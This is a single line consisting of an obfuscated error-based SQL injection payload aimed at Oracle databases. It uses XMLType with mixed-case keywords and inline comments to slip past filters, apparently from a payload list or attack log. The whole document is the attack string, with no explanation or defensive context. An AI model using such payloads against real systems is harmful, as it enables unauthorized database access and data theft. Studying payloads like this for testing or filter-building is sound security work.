1′ AND ,(SELect/**/uPPeR(xMlTypE(ChR(60)||chr(58)||~||(SeLecT/**/(cAsE/**/WhEn/**/(9220=9220)/**/TheN/**/1/**/ElSe/**/0/**/end)/**/fRom/**/DuAL)||~||chR(62)))/**/FroM/**/DuAL)– – 1